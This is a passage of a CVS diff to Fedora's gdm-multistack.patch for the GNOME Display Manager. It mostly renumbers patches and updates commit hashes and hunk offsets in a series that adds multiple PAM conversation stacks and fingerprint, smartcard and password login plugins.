 gui/simple-greeter/gdm-greeter-login-window.glade                    |  144 -
 gui/simple-greeter/gdm-greeter-login-window.h                        |   24 
 gui/simple-greeter/gdm-greeter-session.c                             |  148 -
 gui/simple-greeter/gdm-task-list.c                                   |  268 +
 gui/simple-greeter/gdm-task-list.h                                   |   40 
 gui/simple-greeter/gdm-user-chooser-widget.c                         |   32 
 gui/simple-greeter/libgdmsimplegreeter/Makefile.am                   |    2 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c            |   51 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h            |   13 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                    |   12 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                    |    5 
 gui/simple-greeter/plugins/Makefile.am                               |    4 
 gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c   |   54 
 gui/simple-greeter/plugins/password/gdm-password-extension.c         |   15 
 gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c       |   62 
 po/POTFILES.in                                                       |    2 
 109 files changed, 9965 insertions(+), 1308 deletions(-)

Index: gdm-multistack.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm-multistack.patch,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- gdm-multistack.patch	28 Oct 2009 17:59:42 -0000	1.9
+++ gdm-multistack.patch	29 Oct 2009 04:58:08 -0000	1.10
@@ -1,7 +1,8 @@
+
 From dfa6b8d5ed60552f435c34c47bc45089fa3eef48 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 13:52:19 -0500
-Subject: [PATCH 07/54] Add a comment marking protected api in chooser
+Subject: [PATCH 07/81] Add a comment marking protected api in chooser
 
 The chooser widget has methods that only its
 subclasses are supposed to call.  We should
@@ -30,7 +31,7 @@ index 578e613..7e3e59c 100644
 From 7b4e38d04e246d7dc4c446ed2a3c69fcc67257cb Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 17:44:37 -0500
-Subject: [PATCH 08/54] Drop duplicated entry introspection output
+Subject: [PATCH 08/81] Drop duplicated entry introspection output
 
 ---
  daemon/gdm-greeter-server.c |    1 -
@@ -55,7 +56,7 @@ index 2e01d33..cecce83 100644
 From 8d5ddd913f13581df1662730745c1d906772185e Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 10:07:03 -0500
-Subject: [PATCH 09/54] Make lookup_item not warn when passing NULL for args
+Subject: [PATCH 09/81] Make lookup_item not warn when passing NULL for args
 
 gtk_tree_model_get doesn't like NULL, and we allow
 NULL for optional return values.
@@ -116,7 +117,7 @@ index 2875456..cbd5072 100644
 From 57a0d19b8b1e5e7a2132b15ea2c536207b61f80f Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 15:35:00 -0500
-Subject: [PATCH 10/54] Drop "stopped" signal from worker-job class
+Subject: [PATCH 10/81] Drop "stopped" signal from worker-job class
 
 It was unused, dead code.
 ---
@@ -213,7 +214,7 @@ index d42eb37..5ad1c92 100644
 From 98b3621d59550909f9d837e94d3cb15d20730f30 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 13 May 2009 13:43:33 -0400
-Subject: [PATCH 12/54] Don't send auth-failed when worker dies
+Subject: [PATCH 12/81] Don't send auth-failed when worker dies
 
 Authentication hasn't failed, it just got aborted before it
 could.  This prevents a crash that happens when switching
@@ -288,7 +289,7 @@ index b6abae4..8eadf4d 100644
 From c3d7aa8a30e643ee6068220abd3209b6bbdc6c1a Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 23 Oct 2009 17:40:36 -0400
-Subject: [PATCH 20/54] Don't set has_other_user to FALSE in ctor
+Subject: [PATCH 20/81] Don't set has_other_user to FALSE in ctor
 
 It's initialized to FALSE anyway, and we were
 setting it too late.
@@ -313,10 +314,10 @@ index 167e324..77e06a7 100644
 
 
 
-From 2864b1cd3300eabd82ed0e75fd6a7c963099b1c3 Mon Sep 17 00:00:00 2001
+From 92a560913b1c587b79e5ebe63f90dfbea234a7d1 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 11:00:08 -0500
-Subject: [PATCH 22/54] Drop session "Open" in favor of "StartConversation"
+Subject: [PATCH 33/81] Drop session "Open" in favor of "StartConversation"
 
 We want to eventually support having multiple
 simultaneous PAM conversations in one login
@@ -1518,10 +1519,10 @@ index c6a158c..d9fa26e 100644
 1.6.5.1
 
 
-From 8171ce2967b38807851aa0137142eb03806744bb Mon Sep 17 00:00:00 2001
+From 8516e66b11d4e009ff7913d7996a407efbeb4eb5 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 4 Feb 2009 10:55:03 -0500
-Subject: [PATCH 23/54] Rename session worker to the service it's managing
+Subject: [PATCH 34/81] Rename session worker to the service it's managing
 
 This way when we're running multiple PAM conversations at once
 it will be obvious which worker is managing which conversation.
@@ -1707,10 +1708,10 @@ index d24f025..4833f23 100644
 1.6.5.1
 
 
-From 1e533b06380bf7c5a32ae9b472f96f1a67e9c6da Mon Sep 17 00:00:00 2001
+From b3c168d5cff70b47b1cc87acd6941bcf78a1e1fd Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 13:01:48 -0500
-Subject: [PATCH 24/54] Make greeter explicitly request PAM conversation
+Subject: [PATCH 35/81] Make greeter explicitly request PAM conversation
 
 Now the greeter has to say what PAM stack it wants the slave to
 run.  When that stack is ready, we emit the Ready signal as
@@ -2053,10 +2054,10 @@ index e7d206a..cd0cbdf 100644
 1.6.5.1
 
 
-From b1a09fe70f645641f4e88564b468ef1911d5bd48 Mon Sep 17 00:00:00 2001
+From 0fe56d49e631bafe55a4540cc73b761fd2751185 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 15:18:31 -0500
-Subject: [PATCH 25/54] Store multiple conversations in the session
+Subject: [PATCH 36/81] Store multiple conversations in the session
 
 We keep multiple conversations in the session now, keyed off of
 PAM service is at the other end.  Much of the guts still
@@ -2311,10 +2312,10 @@ index 51ecf39..b86475c 100644
 1.6.5.1
 
 
-From 5d1c8fa1d1874adbef0587827caad7d09916a4ee Mon Sep 17 00:00:00 2001
+From eed69f233f58a00167729eb0e9f32734d4e9202f Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 4 Mar 2009 22:09:21 -0500
-Subject: [PATCH 26/54] start autologin conversation when creating session if necessary
+Subject: [PATCH 37/81] start autologin conversation when creating session if necessary
 
 Without this autologin breaks, since when it comes time to
 autologin, there's no worker to do it.
@@ -2349,10 +2350,10 @@ index 8863fd4..4db7440 100644
 1.6.5.1
 
 
-From a7d9baab98651d5a36b674c5dd5745bdd980918d Mon Sep 17 00:00:00 2001
+From 71332bb2610827f1ad16ffcef257e5e980a47f41 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Thu, 22 Jan 2009 08:52:01 -0500
-Subject: [PATCH 27/54] Propagate service name to more layers
+Subject: [PATCH 38/81] Propagate service name to more layers
 
 This is more prep work to get multiple concurrent
 PAM stacks going.
@@ -6363,10 +6364,10 @@ index cd0cbdf..e856dd4 100644
 1.6.5.1
 
 
-From 37d0aae4df27dacac5f2720ba5dc2698a03ae04c Mon Sep 17 00:00:00 2001
+From bc4cdcc36df5af64065144c016abaa9513a54e54 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Sat, 7 Feb 2009 11:36:40 -0500
-Subject: [PATCH 28/54] emit "ConversationStopped" signal at end of conv
+Subject: [PATCH 39/81] emit "ConversationStopped" signal at end of conv
 
 This will allow us to track when individual
 PAM conversations fail, instead of doing one
@@ -6706,10 +6707,10 @@ index 9421a64..6eadf62 100644
 1.6.5.1
 
 
-From a8f8cb3bb02437372bf25e2c2fc709b1bd77feda Mon Sep 17 00:00:00 2001
+From 2da86871bdfe2ff0b147db4077350b2ef2a0623f Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 26 Oct 2009 10:17:49 -0400
-Subject: [PATCH 29/54] init session pid to -1
+Subject: [PATCH 40/81] init session pid to -1
 
 ---
  daemon/gdm-session-direct.c |    1 -
@@ -6731,10 +6732,10 @@ index dc8b4f6..e0b5f32 100644
 1.6.5.1
 
 
-From d5d86aeda45e249d12ea5d708aab78afdfe66053 Mon Sep 17 00:00:00 2001
+From efc53714006058ce219d4dac748e63b18e72c684 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 9 Mar 2009 15:41:12 -0400
-Subject: [PATCH 30/54] Don't tear down greeter until pam_open_session finishes
+Subject: [PATCH 41/81] Don't tear down greeter until pam_open_session finishes
 
 Some PAM modules ask questions at that late stage of the game,
 and so we need a greeter to forward the questions on to the
@@ -7310,10 +7311,10 @@ index 6eadf62..4c68974 100644
 1.6.5.1
 
 
-From 4a07cc03227aa51b31de8e453d54104cc6fe913b Mon Sep 17 00:00:00 2001
+From a380ce9c46f25183c8bc2c36d3d7d923fb34d4f5 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 30 Jan 2009 23:57:31 -0500
-Subject: [PATCH 31/54] Add limited support for multiple pam stacks
+Subject: [PATCH 42/81] Add limited support for multiple pam stacks
 
 This hard codes 3 pam stacks and doesn't handle
 switching between them very well yet.
@@ -7352,7 +7353,7 @@ index 519e652..fc2d4b3 100644
  
  gdm_simple_greeter_LDADD = 		\
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 9a29a2e..82411d1 100644
+index 8de74df..9c847f0 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -51,12 +51,16 @@
@@ -7483,7 +7484,7 @@ index 9a29a2e..82411d1 100644
          }
  
          switch_mode (login_window, MODE_AUTHENTICATION);
-@@ -1016,6 +1040,21 @@ create_computer_info (GdmGreeterLoginWindow *login_window)
+@@ -1035,6 +1059,21 @@ create_computer_info (GdmGreeterLoginWindow *login_window)
  #define INVISIBLE_CHAR_BULLET        0x2022
  #define INVISIBLE_CHAR_NONE          0
  
@@ -7505,7 +7506,7 @@ index 9a29a2e..82411d1 100644
  static GtkWidget *
  custom_widget_constructor (GladeXML              *xml,
                             char                  *func_name,
-@@ -1038,6 +1077,8 @@ custom_widget_constructor (GladeXML              *xml,
+@@ -1057,6 +1096,8 @@ custom_widget_constructor (GladeXML              *xml,
  
          if (strcmp (name, "user-chooser") == 0) {
                 widget = gdm_user_chooser_widget_new ();
@@ -7514,7 +7515,7 @@ index 9a29a2e..82411d1 100644
          }
  
          gdm_profile_end (NULL);
-@@ -1116,6 +1157,25 @@ load_theme (GdmGreeterLoginWindow *login_window)
+@@ -1135,6 +1176,25 @@ load_theme (GdmGreeterLoginWindow *login_window)
  
          gtk_widget_show (login_window->priv->user_chooser);
  
@@ -7540,7 +7541,7 @@ index 9a29a2e..82411d1 100644
          login_window->priv->auth_banner_label = glade_xml_get_widget (login_window->priv->xml, "auth-banner-label");
          /*make_label_small_italic (login_window->priv->auth_banner_label);*/
  
-@@ -1286,6 +1346,15 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
+@@ -1305,6 +1365,15 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
          widget_class->key_press_event = gdm_greeter_login_window_key_press_event;
          widget_class->size_request = gdm_greeter_login_window_size_request;
  
@@ -7556,7 +7557,7 @@ index 9a29a2e..82411d1 100644
          signals [BEGIN_AUTO_LOGIN] =
                  g_signal_new ("begin-auto-login",
                                G_TYPE_FROM_CLASS (object_class),
-@@ -1302,9 +1371,9 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
+@@ -1321,9 +1390,9 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
                                G_STRUCT_OFFSET (GdmGreeterLoginWindowClass, begin_verification),
                                NULL,
                                NULL,
@@ -7568,7 +7569,7 @@ index 9a29a2e..82411d1 100644
          signals [BEGIN_VERIFICATION_FOR_USER] =
                  g_signal_new ("begin-verification-for-user",
                                G_TYPE_FROM_CLASS (object_class),
-@@ -1312,9 +1381,9 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
+@@ -1331,9 +1400,9 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
                                G_STRUCT_OFFSET (GdmGreeterLoginWindowClass, begin_verification_for_user),
                                NULL,
                                NULL,
@@ -7580,7 +7581,7 @@ index 9a29a2e..82411d1 100644
          signals [QUERY_ANSWER] =
                  g_signal_new ("query-answer",
                                G_TYPE_FROM_CLASS (object_class),
-@@ -1322,9 +1391,9 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
+@@ -1341,9 +1410,9 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
                                G_STRUCT_OFFSET (GdmGreeterLoginWindowClass, query_answer),
                                NULL,
                                NULL,
@@ -8067,10 +8068,10 @@ index 0000000..ade21b6
 1.6.5.1
 
 
-From 60a24b25f8e225b5549154581500c32b0a1d0575 Mon Sep 17 00:00:00 2001
+From 7b611192c2aa9ef30b19e622e9ca525a7c343dc1 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Mar 2009 11:19:40 -0500
-Subject: [PATCH 32/54] Create session settings object when first starting worker
+Subject: [PATCH 43/81] Create session settings object when first starting worker
 
 This is because one PAM module may complete before setup
 gets called on another, and when one completes *all* PAM
@@ -8105,10 +8106,10 @@ index 867ce67..9a9f364 100644
 1.6.5.1
 
 
-From 68083faad5647737421a1a6e922812e9368d839a Mon Sep 17 00:00:00 2001
+From f908d03d5515fac5c7700e49d20a3f69c159d8fe Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Thu, 5 Feb 2009 15:20:25 -0500
-Subject: [PATCH 33/54] Queue a greeter reset when the user clicks cancel
+Subject: [PATCH 44/81] Queue a greeter reset when the user clicks cancel
 
 ---
  daemon/gdm-simple-slave.c |   37 +++++++++++++++++++++++++++++++++++++
@@ -8244,10 +8245,10 @@ index 4c68974..337718b 100644
 1.6.5.1
 
 
-From 1e91c1fef9d7308888143ffcf7358dc85e2c84e7 Mon Sep 17 00:00:00 2001
+From 775a32d565721e926312f23138b82e924233a900 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 16:23:48 -0500
-Subject: [PATCH 34/54] Add a plugin based extension system to greeter
+Subject: [PATCH 45/81] Add a plugin based extension system to greeter
 
 This allows plugins to drive which PAM conversations
 get run.  This commit just adds one plugin "password"
@@ -8523,7 +8524,7 @@ index 2f857dc..f879307 100644
          void (* selected_user_changed)   (GdmGreeterClient  *client,
                                            const char        *username);
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 82411d1..c12d6f2 100644
+index 9c847f0..af8ff82 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -1,7 +1,7 @@
@@ -9192,7 +9193,7 @@ index 82411d1..c12d6f2 100644
          }
  
          switch_mode (login_window, MODE_AUTHENTICATION);
-@@ -1042,17 +1265,65 @@ create_computer_info (GdmGreeterLoginWindow *login_window)
+@@ -1061,17 +1284,65 @@ create_computer_info (GdmGreeterLoginWindow *login_window)
  
  static void
  on_task_activated (GdmGreeterLoginWindow *login_window,
@@ -9263,7 +9264,7 @@ index 82411d1..c12d6f2 100644
  }
  
  static GtkWidget *
-@@ -1089,7 +1360,6 @@ custom_widget_constructor (GladeXML              *xml,
+@@ -1108,7 +1379,6 @@ custom_widget_constructor (GladeXML              *xml,
  static void
  load_theme (GdmGreeterLoginWindow *login_window)
  {
@@ -9271,7 +9272,7 @@ index 82411d1..c12d6f2 100644
          GtkWidget *button;
          GtkWidget *box;
          GtkWidget *image;
-@@ -1169,27 +1439,13 @@ load_theme (GdmGreeterLoginWindow *login_window)
+@@ -1188,27 +1458,13 @@ load_theme (GdmGreeterLoginWindow *login_window)
                                    login_window);
          gtk_widget_show (login_window->priv->conversation_list);
  
@@ -9300,7 +9301,7 @@ index 82411d1..c12d6f2 100644
          create_computer_info (login_window);
  
          box = glade_xml_get_widget (login_window->priv->xml, "computer-info-event-box");
-@@ -1431,9 +1687,9 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
+@@ -1450,9 +1706,9 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
                                G_STRUCT_OFFSET (GdmGreeterLoginWindowClass, start_session),
                                NULL,
                                NULL,
@@ -9312,7 +9313,7 @@ index 82411d1..c12d6f2 100644
  
          g_object_class_install_property (object_class,
                                           PROP_DISPLAY_IS_LOCAL,
-@@ -1486,6 +1742,187 @@ on_gconf_key_changed (GConfClient           *client,
+@@ -1505,6 +1761,187 @@ on_gconf_key_changed (GConfClient           *client,
          }
  }
  
@@ -12437,17 +12438,17 @@ index 9fb8a48..3963bd6 100644
 1.6.5.1
 
 
-From 35d7721af1d7718418616e15023487cb895d96e5 Mon Sep 17 00:00:00 2001
+From 58281be140f8065de49d6392c0db439840cf9c9b Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Sat, 7 Feb 2009 21:17:49 -0500
-Subject: [PATCH 35/54] Force session reset if all PAM conversations fail
+Subject: [PATCH 46/81] Force session reset if all PAM conversations fail
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |   22 +++++++++++++++++++---
  1 files changed, 19 insertions(+), 3 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index c12d6f2..37f0c40 100644
+index af8ff82..e27b905 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -663,15 +663,21 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
@@ -12496,10 +12497,10 @@ index c12d6f2..37f0c40 100644
 1.6.5.1
 
 
-From 20b4038bef56b0e6d0db25992c5210fd38d01d4e Mon Sep 17 00:00:00 2001
+From d2e1f986ae6c5c5b6e55df7f062031160ebb4dc6 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 18 Feb 2009 12:32:39 -0500
-Subject: [PATCH 36/54] Add a way for plugins to pick users from list
+Subject: [PATCH 47/81] Add a way for plugins to pick users from list
 
 The smartcard plugin is going to want to
 start its conversation as soon as the card
@@ -12511,10 +12512,10 @@ gets plugged in.
  3 files changed, 74 insertions(+), 0 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 37f0c40..cb65be6 100644
+index e27b905..912a1e6 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1777,6 +1777,34 @@ on_conversation_answer (GdmGreeterLoginWindow *login_window,
+@@ -1796,6 +1796,34 @@ on_conversation_answer (GdmGreeterLoginWindow *login_window,
          set_ready (login_window);
  }
  
@@ -12549,7 +12550,7 @@ index 37f0c40..cb65be6 100644
  void
  gdm_greeter_login_window_remove_extension (GdmGreeterLoginWindow *login_window,
   GdmGreeterExtension *extension)
-@@ -1914,6 +1942,14 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -1933,6 +1961,14 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
                                    "answer",
                                    G_CALLBACK (on_conversation_answer),
                                    login_window);
@@ -12653,10 +12654,10 @@ index f1910cf..fb4bf49 100644
 1.6.5.1
 
 
-From 9e33e5d7726c70973a5e616c8e533bafa23cfd64 Mon Sep 17 00:00:00 2001
+From bd213dd68b7002b38fcf739d013f9a17f9f8b3eb Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 14:05:20 -0500
-Subject: [PATCH 37/54] Add new api to ask when chooser widget is done loading items
+Subject: [PATCH 48/81] Add new api to ask when chooser widget is done loading items
 
 ---
  gui/simple-greeter/gdm-chooser-widget.c |    9 +++++++++
@@ -12709,10 +12710,10 @@ index 7e3e59c..6a07843 100644
 1.6.5.1
 
 
-From 6b5f0a616b4095b66733065f0f1802633f0ec107 Mon Sep 17 00:00:00 2001
+From aa3ae5b264ffa04c88f56be187a70e3845b2ef95 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 14:31:27 -0500
-Subject: [PATCH 38/54] Tell tasks they're ready only after user list loads
+Subject: [PATCH 49/81] Tell tasks they're ready only after user list loads
 
 This way they won't try to access the list prematurely.
 ---
@@ -12720,7 +12721,7 @@ This way they won't try to access the li
  1 files changed, 27 insertions(+), 1 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index cb65be6..e316174 100644
+index 912a1e6..4c14d40 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -678,6 +678,27 @@ do_cancel (GdmGreeterLoginWindow *login_window)
@@ -12769,10 +12770,10 @@ index cb65be6..e316174 100644
 1.6.5.1
 
 
-From 402aeac71a440e00144a57dc99f99e5a47fde286 Mon Sep 17 00:00:00 2001
+From f7640b51fa287e75cde6170f0cd3b402f10e9db7 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 16:25:47 -0500
-Subject: [PATCH 39/54] Add fingerprint plugin
+Subject: [PATCH 50/81] Add fingerprint plugin
 
 This commit adds a plugin to initiate a conversation for
 fingerprint scans.
@@ -13414,10 +13415,10 @@ index 0000000..5ea9925
 1.6.5.1
 
 
-From 10ffdab61f62aa4ec68ff1c6cda99b3d27dec796 Mon Sep 17 00:00:00 2001
+From d727101394f9ce3c121c2ab7d7f37671f2c807aa Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 11 Feb 2009 08:47:52 -0500
-Subject: [PATCH 40/54] Add start of a smartcard plugin
+Subject: [PATCH 51/81] Add start of a smartcard plugin
 
 It contains a copy and paste of an old RHEL patch
 I did a few years ago.
@@ -16694,10 +16695,10 @@ index 3963bd6..4d219fb 100644
 1.6.5.1
 
 
-From 393c0519bc2d08420c2b19b6e513909d1199b8b7 Mon Sep 17 00:00:00 2001
+From abba21674b3db119288f89d3ccf4a84379f8fbc6 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 23 Feb 2009 17:57:06 -0500
-Subject: [PATCH 41/54] Add a new "choosable" property to show tasks in user list
+Subject: [PATCH 52/81] Add a new "choosable" property to show tasks in user list
 
 Useful for Smartcard and some future "Guest" account plugin
 ---
@@ -16710,10 +16711,10 @@ Useful for Smartcard and some future "Gu
  6 files changed, 39 insertions(+), 3 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index e316174..a43a462 100644
+index 4c14d40..e137e1b 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1983,9 +1983,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -2002,9 +2002,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
          g_debug ("GdmGreeterLoginWindow: new extension '%s - %s' added",
                  name, description);
  
@@ -16723,7 +16724,7 @@ index e316174..a43a462 100644
          if (gdm_task_list_get_number_of_tasks (GDM_TASK_LIST (login_window->priv->conversation_list)) == 0) {
                  gtk_widget_hide (login_window->priv->conversation_list);
          } else {
-@@ -1996,6 +1993,16 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -2015,6 +2012,16 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
                                  GDM_TASK (extension));
  
          service_name = gdm_conversation_get_service_name (GDM_CONVERSATION (extension));
@@ -16853,10 +16854,10 @@ index 6fa01fb..25d5de4 100644
 1.6.5.1
 
 
-From 80d3f5efa1946fba373d7bb1aa6d86747f0c6c86 Mon Sep 17 00:00:00 2001
+From 7ff0274b43e1d0dd6e0f1ec1ac60f628c546679b Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 24 Feb 2009 15:12:35 -0500
-Subject: [PATCH 42/54] Separate handling of non-users in user list from users
+Subject: [PATCH 53/81] Separate handling of non-users in user list from users
 
 Now get_chosen_user returns NULL if the activated item
 wasn't a user.  We also separate the handling of on item
@@ -16871,7 +16872,7 @@ added items.
  3 files changed, 56 insertions(+), 22 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index a43a462..23ced52 100644
+index e137e1b..3d11fa7 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -1125,29 +1125,49 @@ begin_task_verification_for_selected_user (GdmTaskList           *task_list,
@@ -16954,7 +16955,7 @@ index a43a462..23ced52 100644
  }
  
  static void
-@@ -1455,7 +1470,7 @@ load_theme (GdmGreeterLoginWindow *login_window)
+@@ -1474,7 +1489,7 @@ load_theme (GdmGreeterLoginWindow *login_window)
                            login_window);
          g_signal_connect (login_window->priv->user_chooser,
                            "activated",
@@ -17016,10 +17017,10 @@ index 7aa99e7..316ef46 100644
 1.6.5.1
 
 
-From 14b7d7bc52e270c7bbb1a25d128fe96d91cd20c7 Mon Sep 17 00:00:00 2001
+From 5471f0fc6d996cf8b8bccd5bfc87b00aee5d8539 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 27 Feb 2009 15:44:13 -0500
-Subject: [PATCH 43/54] Initiate smart card auth when clicking on it in list
+Subject: [PATCH 54/81] Initiate smart card auth when clicking on it in list
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c      |   24 ++++++++++++++++++++
@@ -17027,7 +17028,7 @@ Subject: [PATCH 43/54] Initiate smart ca
  2 files changed, 25 insertions(+), 1 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 23ced52..af21af3 100644
+index 3d11fa7..080a766 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -652,6 +652,7 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
@@ -17092,10 +17093,10 @@ index 25d5de4..a9e41f4 100644
 1.6.5.1
 
 
-From 634e1d954b2ed35126ca87861ffdbeffedb5397f Mon Sep 17 00:00:00 2001
+From 9b1dd8920d77ac6eb29019dbeb0f7cc4dfa7d9f5 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 11:10:28 -0500
-Subject: [PATCH 44/54] Only show task list if user is selected
+Subject: [PATCH 55/81] Only show task list if user is selected
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |   32 ++++++++++++++----------
@@ -17103,7 +17104,7 @@ Subject: [PATCH 44/54] Only show task li
  2 files changed, 28 insertions(+), 15 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index af21af3..9041f76 100644
+index 080a766..b578ac1 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -526,6 +526,7 @@ switch_mode (GdmGreeterLoginWindow *login_window,
@@ -17186,7 +17187,7 @@ index af21af3..9041f76 100644
  }
  
  static void
-@@ -1518,7 +1531,6 @@ load_theme (GdmGreeterLoginWindow *login_window)
+@@ -1537,7 +1550,6 @@ load_theme (GdmGreeterLoginWindow *login_window)
                                    "deactivated",
                                    G_CALLBACK (on_task_deactivated),
                                    login_window);
@@ -17194,7 +17195,7 @@ index af21af3..9041f76 100644
  
          login_window->priv->auth_banner_label = glade_xml_get_widget (login_window->priv->xml, "auth-banner-label");
          /*make_label_small_italic (login_window->priv->auth_banner_label);*/
-@@ -2022,12 +2034,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -2041,12 +2053,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
          g_debug ("GdmGreeterLoginWindow: new extension '%s - %s' added",
                  name, description);
  
@@ -17242,10 +17243,10 @@ index 25831a6..162b784 100644
 1.6.5.1
 
 
-From a3d474a6a37a7b376b9d534ac48f8888b6839835 Mon Sep 17 00:00:00 2001
+From 3902afbcf465b15c6638b759c2ffece24f0b3f82 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
